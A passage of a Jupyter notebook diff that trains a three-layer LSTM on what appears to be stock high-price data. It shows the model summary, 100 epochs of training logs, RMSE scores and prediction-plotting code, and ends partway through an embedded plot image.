'mean_squared_error', optimizer = 'adam')" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "9-9HXMcqJ0np", + "outputId": "2f0d27da-65c4-4f32-db9d-8633da43008e" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Model: \"sequential\"\n", + "_________________________________________________________________\n", + "Layer (type) Output Shape Param # \n", + "=================================================================\n", + "lstm (LSTM) (None, 100, 50) 10400 \n", + "_________________________________________________________________\n", + "lstm_1 (LSTM) (None, 100, 50) 20200 \n", + "_________________________________________________________________\n", + "lstm_2 (LSTM) (None, 50) 20200 \n", + "_________________________________________________________________\n", + "dense (Dense) (None, 1) 51 \n", + "=================================================================\n", + "Total params: 50,851\n", + "Trainable params: 50,851\n", + "Non-trainable params: 0\n", + "_________________________________________________________________\n" + ] + } + ], + "source": [ + "model.summary()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "PNm__q0MJ0qI", + "outputId": "0910485a-ea42-4d32-f5fc-e1f3dfe13c1a" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Epoch 1/100\n", + "23/23 [==============================] - 17s 381ms/step - loss: 0.0296 - val_loss: 0.0062\n", + "Epoch 2/100\n", + "23/23 [==============================] - 9s 393ms/step - loss: 0.0029 - val_loss: 0.0011\n", + "Epoch 3/100\n", + "23/23 [==============================] - 8s 344ms/step - loss: 0.0015 - val_loss: 0.0022\n", + "Epoch 4/100\n", + "23/23 [==============================] - 8s 346ms/step - loss: 0.0014 - val_loss: 0.0011\n", + "Epoch 5/100\n", + "23/23 [==============================] - 9s 386ms/step - loss: 0.0013 - val_loss: 0.0017\n", + "Epoch 6/100\n", + "23/23 [==============================] - 11s 455ms/step - loss: 0.0013 - val_loss: 0.0011\n", + "Epoch 7/100\n", + "23/23 [==============================] - 8s 345ms/step - loss: 0.0012 - val_loss: 0.0012\n", + "Epoch 8/100\n", + "23/23 [==============================] - 8s 345ms/step - loss: 0.0011 - val_loss: 0.0014\n", + "Epoch 9/100\n", + "23/23 [==============================] - 8s 344ms/step - loss: 0.0011 - val_loss: 0.0013\n", + "Epoch 10/100\n", + "23/23 [==============================] - 8s 346ms/step - loss: 0.0011 - val_loss: 0.0011\n", + "Epoch 11/100\n", + "23/23 [==============================] - 8s 346ms/step - loss: 0.0011 - val_loss: 9.6895e-04\n", + "Epoch 12/100\n", + "23/23 [==============================] - 8s 345ms/step - loss: 0.0011 - val_loss: 9.5251e-04\n", + "Epoch 13/100\n", + "23/23 [==============================] - 8s 344ms/step - loss: 9.4585e-04 - val_loss: 0.0011\n", + "Epoch 14/100\n", + "23/23 [==============================] - 8s 344ms/step - loss: 9.1839e-04 - val_loss: 8.2667e-04\n", + "Epoch 15/100\n", + "23/23 [==============================] - 8s 346ms/step - loss: 9.5037e-04 - val_loss: 7.9969e-04\n", + "Epoch 16/100\n", + "23/23 [==============================] - 8s 345ms/step - loss: 8.7849e-04 - val_loss: 9.4068e-04\n", + "Epoch 17/100\n", + "23/23 [==============================] - 8s 344ms/step - loss: 8.3571e-04 - val_loss: 0.0011\n", + "Epoch 18/100\n", + "23/23 [==============================] - 8s 348ms/step - loss: 8.3033e-04 - val_loss: 8.5492e-04\n", + "Epoch 19/100\n", + "23/23 [==============================] - 8s 348ms/step - loss: 9.3839e-04 - val_loss: 0.0012\n", + "Epoch 20/100\n", + "23/23 [==============================] - 8s 346ms/step - loss: 8.1452e-04 - val_loss: 8.7360e-04\n", + "Epoch 21/100\n", + "23/23 [==============================] - 8s 347ms/step - loss: 8.5985e-04 - val_loss: 7.3618e-04\n", + "Epoch 22/100\n", + "23/23 [==============================] - 9s 393ms/step - loss: 8.0899e-04 - val_loss: 6.3633e-04\n", + "Epoch 23/100\n", + "23/23 [==============================] - 8s 346ms/step - loss: 8.1426e-04 - val_loss: 0.0012\n", + "Epoch 24/100\n", + "23/23 [==============================] - 8s 346ms/step - loss: 8.6575e-04 - val_loss: 7.8958e-04\n", + "Epoch 25/100\n", + "23/23 [==============================] - 8s 347ms/step - loss: 7.4950e-04 - val_loss: 6.6261e-04\n", + "Epoch 26/100\n", + "23/23 [==============================] - 8s 346ms/step - loss: 7.1290e-04 - val_loss: 6.2714e-04\n", + "Epoch 27/100\n", + "23/23 [==============================] - 8s 347ms/step - loss: 6.8539e-04 - val_loss: 7.7937e-04\n", + "Epoch 28/100\n", + "23/23 [==============================] - 8s 347ms/step - loss: 6.9435e-04 - val_loss: 7.5161e-04\n", + "Epoch 29/100\n", + "23/23 [==============================] - 8s 344ms/step - loss: 6.4918e-04 - val_loss: 6.2244e-04\n", + "Epoch 30/100\n", + "23/23 [==============================] - 8s 346ms/step - loss: 6.5413e-04 - val_loss: 6.6394e-04\n", + "Epoch 31/100\n", + "23/23 [==============================] - 8s 346ms/step - loss: 6.2032e-04 - val_loss: 7.7170e-04\n", + "Epoch 32/100\n", + "23/23 [==============================] - 8s 345ms/step - loss: 6.0073e-04 - val_loss: 6.5895e-04\n", + "Epoch 33/100\n", + "23/23 [==============================] - 8s 345ms/step - loss: 6.1412e-04 - val_loss: 7.1648e-04\n", + "Epoch 34/100\n", + "23/23 [==============================] - 8s 348ms/step - loss: 6.4278e-04 - val_loss: 8.1730e-04\n", + "Epoch 35/100\n", + "23/23 [==============================] - 8s 345ms/step - loss: 6.3334e-04 - val_loss: 7.4530e-04\n", + "Epoch 36/100\n", + "23/23 [==============================] - 8s 344ms/step - loss: 5.9696e-04 - val_loss: 5.2569e-04\n", + "Epoch 37/100\n", + "23/23 [==============================] - 8s 344ms/step - loss: 5.9848e-04 - val_loss: 7.4405e-04\n", + "Epoch 38/100\n", + "23/23 [==============================] - 8s 346ms/step - loss: 5.6691e-04 - val_loss: 7.1230e-04\n", + "Epoch 39/100\n", + "23/23 [==============================] - 8s 347ms/step - loss: 5.9104e-04 - val_loss: 5.8031e-04\n", + "Epoch 40/100\n", + "23/23 [==============================] - 8s 347ms/step - loss: 6.1810e-04 - val_loss: 0.0011\n", + "Epoch 41/100\n", + "23/23 [==============================] - 8s 343ms/step - loss: 8.4489e-04 - val_loss: 0.0011\n", + "Epoch 42/100\n", + "23/23 [==============================] - 8s 347ms/step - loss: 5.9997e-04 - val_loss: 7.1650e-04\n", + "Epoch 43/100\n", + "23/23 [==============================] - 9s 392ms/step - loss: 5.1734e-04 - val_loss: 6.1136e-04\n", + "Epoch 44/100\n", + "23/23 [==============================] - 8s 343ms/step - loss: 5.1953e-04 - val_loss: 8.8279e-04\n", + "Epoch 45/100\n", + "23/23 [==============================] - 8s 345ms/step - loss: 5.0614e-04 - val_loss: 5.2441e-04\n", + "Epoch 46/100\n", + "23/23 [==============================] - 8s 345ms/step - loss: 6.2323e-04 - val_loss: 6.0129e-04\n", + "Epoch 47/100\n", + "23/23 [==============================] - 8s 341ms/step - loss: 4.9503e-04 - val_loss: 5.3799e-04\n", + "Epoch 48/100\n", + "23/23 [==============================] - 8s 345ms/step - loss: 5.1320e-04 - val_loss: 9.8089e-04\n", + "Epoch 49/100\n", + "23/23 [==============================] - 8s 344ms/step - loss: 5.7520e-04 - val_loss: 4.5969e-04\n", + "Epoch 50/100\n", + "23/23 [==============================] - 8s 343ms/step - loss: 5.4336e-04 - val_loss: 3.7923e-04\n", + "Epoch 51/100\n", + "23/23 [==============================] - 8s 344ms/step - loss: 5.2223e-04 - val_loss: 5.5541e-04\n", + "Epoch 52/100\n", + "23/23 [==============================] - 8s 341ms/step - loss: 4.5239e-04 - val_loss: 5.3168e-04\n", + "Epoch 53/100\n", + "23/23 [==============================] - 8s 346ms/step - loss: 4.1234e-04 - val_loss: 4.4867e-04\n", + "Epoch 54/100\n", + "23/23 [==============================] - 8s 343ms/step - loss: 4.5851e-04 - val_loss: 4.3598e-04\n", + "Epoch 55/100\n", + "23/23 [==============================] - 8s 348ms/step - loss: 3.9567e-04 - val_loss: 4.1849e-04\n", + "Epoch 56/100\n", + "23/23 [==============================] - 8s 342ms/step - loss: 4.0584e-04 - val_loss: 3.9328e-04\n", + "Epoch 57/100\n", + "23/23 [==============================] - 8s 343ms/step - loss: 4.6691e-04 - val_loss: 3.8304e-04\n", + "Epoch 58/100\n", + "23/23 [==============================] - 8s 342ms/step - loss: 3.7688e-04 - val_loss: 3.2941e-04\n", + "Epoch 59/100\n", + "23/23 [==============================] - 8s 344ms/step - loss: 3.4034e-04 - val_loss: 3.4825e-04\n", + "Epoch 60/100\n", + "23/23 [==============================] - 8s 344ms/step - loss: 4.1345e-04 - val_loss: 3.2722e-04\n", + "Epoch 61/100\n", + "23/23 [==============================] - 8s 345ms/step - loss: 3.6639e-04 - val_loss: 3.7511e-04\n", + "Epoch 62/100\n", + "23/23 [==============================] - 8s 342ms/step - loss: 3.4093e-04 - val_loss: 3.2881e-04\n", + "Epoch 63/100\n", + "23/23 [==============================] - 8s 344ms/step - loss: 3.5526e-04 - val_loss: 2.6734e-04\n", + "Epoch 64/100\n", + "23/23 [==============================] - 9s 392ms/step - loss: 3.0460e-04 - val_loss: 2.4265e-04\n", + "Epoch 65/100\n", + "23/23 [==============================] - 8s 345ms/step - loss: 3.1287e-04 - val_loss: 2.9213e-04\n", + "Epoch 66/100\n", + "23/23 [==============================] - 8s 345ms/step - loss: 2.8165e-04 - val_loss: 2.7066e-04\n", + "Epoch 67/100\n", + "23/23 [==============================] - 8s 346ms/step - loss: 2.6734e-04 - val_loss: 3.1631e-04\n", + "Epoch 68/100\n", + "23/23 [==============================] - 8s 346ms/step - loss: 3.1758e-04 - val_loss: 3.7048e-04\n", + "Epoch 69/100\n", + "23/23 [==============================] - 8s 344ms/step - loss: 3.3470e-04 - val_loss: 3.9684e-04\n", + "Epoch 70/100\n", + "23/23 [==============================] - 8s 343ms/step - loss: 3.3818e-04 - val_loss: 3.9463e-04\n", + "Epoch 71/100\n", + "23/23 [==============================] - 8s 344ms/step - loss: 2.5515e-04 - val_loss: 3.5135e-04\n", + "Epoch 72/100\n", + "23/23 [==============================] - 8s 346ms/step - loss: 2.5430e-04 - val_loss: 2.8446e-04\n", + "Epoch 73/100\n", + "23/23 [==============================] - 8s 342ms/step - loss: 2.4896e-04 - val_loss: 2.4481e-04\n", + "Epoch 74/100\n", + "23/23 [==============================] - 8s 343ms/step - loss: 2.3359e-04 - val_loss: 2.7386e-04\n", + "Epoch 75/100\n", + "23/23 [==============================] - 8s 342ms/step - loss: 2.5141e-04 - val_loss: 2.3066e-04\n", + "Epoch 76/100\n", + "23/23 [==============================] - 8s 344ms/step - loss: 2.2487e-04 - val_loss: 2.5273e-04\n", + "Epoch 77/100\n", + "23/23 [==============================] - 8s 344ms/step - loss: 2.4751e-04 - val_loss: 2.6052e-04\n", + "Epoch 78/100\n", + "23/23 [==============================] - 8s 346ms/step - loss: 2.3033e-04 - val_loss: 1.8945e-04\n", + "Epoch 79/100\n", + "23/23 [==============================] - 8s 346ms/step - loss: 2.4112e-04 - val_loss: 3.1777e-04\n", + "Epoch 80/100\n", + "23/23 [==============================] - 8s 344ms/step - loss: 2.1832e-04 - val_loss: 2.6571e-04\n", + "Epoch 81/100\n", + "23/23 [==============================] - 8s 342ms/step - loss: 2.2783e-04 - val_loss: 1.8948e-04\n", + "Epoch 82/100\n", + "23/23 [==============================] - 8s 345ms/step - loss: 2.0704e-04 - val_loss: 2.4376e-04\n", + "Epoch 83/100\n", + "23/23 [==============================] - 8s 344ms/step - loss: 2.2896e-04 - val_loss: 3.7729e-04\n", + "Epoch 84/100\n", + "23/23 [==============================] - 9s 393ms/step - loss: 3.4487e-04 - val_loss: 2.0232e-04\n", + "Epoch 85/100\n", + "23/23 [==============================] - 8s 344ms/step - loss: 2.9182e-04 - val_loss: 1.9480e-04\n", + "Epoch 86/100\n", + "23/23 [==============================] - 8s 344ms/step - loss: 2.9702e-04 - val_loss: 2.8097e-04\n", + "Epoch 87/100\n", + "23/23 [==============================] - 8s 345ms/step - loss: 2.2748e-04 - val_loss: 2.3362e-04\n", + "Epoch 88/100\n", + "23/23 [==============================] - 8s 342ms/step - loss: 2.0465e-04 - val_loss: 2.0085e-04\n", + "Epoch 89/100\n", + "23/23 [==============================] - 8s 341ms/step - loss: 1.9722e-04 - val_loss: 1.9642e-04\n", + "Epoch 90/100\n", + "23/23 [==============================] - 8s 343ms/step - loss: 1.9766e-04 - val_loss: 1.9333e-04\n", + "Epoch 91/100\n", + "23/23 [==============================] - 8s 345ms/step - loss: 1.9490e-04 - val_loss: 2.2520e-04\n", + "Epoch 92/100\n", + "23/23 [==============================] - 8s 342ms/step - loss: 2.0187e-04 - val_loss: 1.6729e-04\n", + "Epoch 93/100\n", + "23/23 [==============================] - 8s 343ms/step - loss: 2.0843e-04 - val_loss: 1.7702e-04\n", + "Epoch 94/100\n", + "23/23 [==============================] - 8s 344ms/step - loss: 1.8616e-04 - val_loss: 1.8128e-04\n", + "Epoch 95/100\n", + "23/23 [==============================] - 8s 345ms/step - loss: 1.9246e-04 - val_loss: 1.5238e-04\n", + "Epoch 96/100\n", + "23/23 [==============================] - 8s 343ms/step - loss: 2.3721e-04 - val_loss: 1.7617e-04\n", + "Epoch 97/100\n", + "23/23 [==============================] - 8s 342ms/step - loss: 2.1132e-04 - val_loss: 2.3303e-04\n", + "Epoch 98/100\n", + "23/23 [==============================] - 8s 344ms/step - loss: 2.1628e-04 - val_loss: 1.4220e-04\n", + "Epoch 99/100\n", + "23/23 [==============================] - 8s 344ms/step - loss: 2.1181e-04 - val_loss: 1.6404e-04\n", + "Epoch 100/100\n", + "23/23 [==============================] - 8s 344ms/step - loss: 1.7874e-04 - val_loss: 1.9049e-04\n" + ] + }, + { + "data": { + "text/plain": [ + "" + ] + }, + "execution_count": 26, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "model.fit(x_train, y_train , validation_data = (x_test, y_test), epochs = 100, batch_size = 64, verbose=1)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "kC3fmcwLJtxi" + }, + "outputs": [], + "source": [ + "train_predict = model.predict(x_train)\n", + "test_predict = model.predict(x_test)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "hXBnc9drN3hm" + }, + "outputs": [], + "source": [ + "train_predict = scaler.inverse_transform(train_predict)\n", + "test_predict = scaler.inverse_transform(test_predict)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "QGvVJ77IN3k7", + "outputId": "225f22ed-1612-4a8a-ec88-288bf9c9d1cb" + }, + "outputs": [ + { + "data": { + "text/plain": [ + "166.84477489414863" + ] + }, + "execution_count": 29, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "math.sqrt(mean_squared_error(y_train, train_predict))" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "IZpikvVgN3nS", + "outputId": "46eb1c74-6b46-472d-c870-3dee85fecc0c" + }, + "outputs": [ + { + "data": { + "text/plain": [ + "108.2080512737556" + ] + }, + "execution_count": 30, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "math.sqrt(mean_squared_error(y_test, test_predict))" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "th3TuyH1OO1r" + }, + "source": [ + "**Plotting the graph according to train and test data**" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "8gMfUIfrN3pv" + }, + "outputs": [], + "source": [ + "look_back = 100\n", + "trainPredictPlot = np.empty_like(df_high)\n", + "trainPredictPlot[:,:] = np.nan\n", + "trainPredictPlot[look_back:len(train_predict) + look_back, :] = train_predict\n", + "\n", + "testPredictPlot = np.empty_like(df_high)\n", + "testPredictPlot[:,:] = np.nan\n", + "testPredictPlot[len(train_predict) + (look_back * 2)+1:len(df_high) - 1, :] = test_predict\n" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 426 + }, + "id": "CIDXmSMKOtmE", + "outputId": "8d048ce3-fff0-4d20-d8b5-4baf4d817279" + }, + "outputs": [ + { + "data": { + "image/png": "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